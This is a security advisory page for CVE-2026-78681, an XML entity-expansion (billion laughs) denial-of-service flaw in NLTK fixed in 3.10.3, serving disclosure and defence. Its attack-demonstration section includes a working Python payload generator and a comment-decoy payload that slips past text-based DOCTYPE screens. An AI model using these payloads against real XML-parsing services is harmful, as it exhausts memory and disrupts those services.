CVE-2026-78681: NLTK Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-97qj-x29f-37w7
CWE-776
Published
Advisory Summary

CVE-2026-78681 is a HIGH denial of service vulnerability (CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')) affecting NLTK libraries in the PyPI ecosystem. The issue involves entity-expansion dos (billion laughs) via remaining raw elementtree parses. Remediation is available by upgrading affected packages to version 3.10.3.

CVE-2026-78681 at a Glance

CVE Identifier CVE-2026-78681
GHSA Identifier GHSA-97qj-x29f-37w7
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
Affected Product NLTK
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-78681

To remediate this vulnerability, upgrade all affected NLTK dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nltk fixed: 3.10.3
pip install nltk>=3.10.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show nltk

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-78681, inspect your installed packages using pip:

pip show nltk

Analyze the terminal output to locate any version of NLTK in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.10.3), your application is affected.

Note: The pip show nltk command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion'), where the product uses xml documents and allows their structure to be defined with a document type definition (dtd), but it does not properly control the number of recursive definitions of entities. In NLTK, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service. Affected call sites (<= 3.10.2): - `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML - `nltk.internals.ElementWrapper` — converts any given string to an Element - `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages` libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure. This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent. --- ## Attack demonstration Reproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative. ### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`) A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input: | levels | input bytes | expanded bytes | factor | |--------|-------------|----------------|--------| | 3 | 218 | 10,000 | x45 | | 4 | 274 | 100,000 | x364 | | 5 | 330 | 1,000,000 | x3,030 | | 6 | 386 | (libexpat 2.7.1 cap trips) | - | The level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds. ```python import xml.etree.ElementTree as ET def bomb(levels): d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1)) return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>' ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars ``` ### 2. The patched entry point rejects it ``` >>> from nltk.internals import ElementWrapper >>> ElementWrapper(bomb(5)) EntitiesForbidden: EntitiesForbidden(name='e0', ...) ``` ### 3. Why a text-based screen is not enough An entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not: ```python evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>' ``` ``` raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars) nltk.xmlsec -> REJECTED (EntitiesForbidden) ``` An earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests. ### 4. Both back ends block it `nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback: ``` stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden) stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden) ``` Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

CVE-2026-78681 Affected NLTK Versions

1 component(s)
Fixed Versions:
3.10.3
Product / Package Ecosystem Affected Versions Fixed Version
nltk
PyPI
< 3.10.3
3.10.3

References

Frequently Asked Questions

What is CVE-2026-78681?
CVE-2026-78681 is a security vulnerability in NLTK involving Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses under CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion').
Which NLTK versions are affected?
Affected versions include releases prior to 3.10.3 across affected packages: nltk.
What version fixes CVE-2026-78681?
Upgrading to 3.10.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nltk affected?
Yes, nltk is affected in releases prior to 3.10.3. Upgrade your dependency to 3.10.3 or later.
What CWE is associated with CVE-2026-78681?
CVE-2026-78681 is classified under CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.).
How can I check PyPI dependencies for CVE-2026-78681?
Run the dependency tree command: 'pip show nltk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-97qj-x29f-37w7",
  "modified" : "2026-09-08T16:42:18Z",
  "published" : "2026-09-08T16:42:18Z",
  "aliases" : [ "CVE-2026-78681" ],
  "summary" : "NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses",
  "details" : "Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (<= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- `nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f'<!ENTITY e{i} \"{(\"&e%d;\"%(i-1))*10}\">' for i in range(1, levels+1))\n    return f'<!DOCTYPE d [<!ENTITY e0 \"AAAAAAAAAA\">{d}]><d>&e{levels};</d>'\nET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n>>> from nltk.internals import ElementWrapper\n>>> ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a \"PPPP...\">]><d>&a;</d>'\n```\n\n```\nraw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec     -> REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.10.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-78681"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/releases/tag/v3.10.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-776" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T16:42:18Z",
    "nvd_published_at" : null
  }
}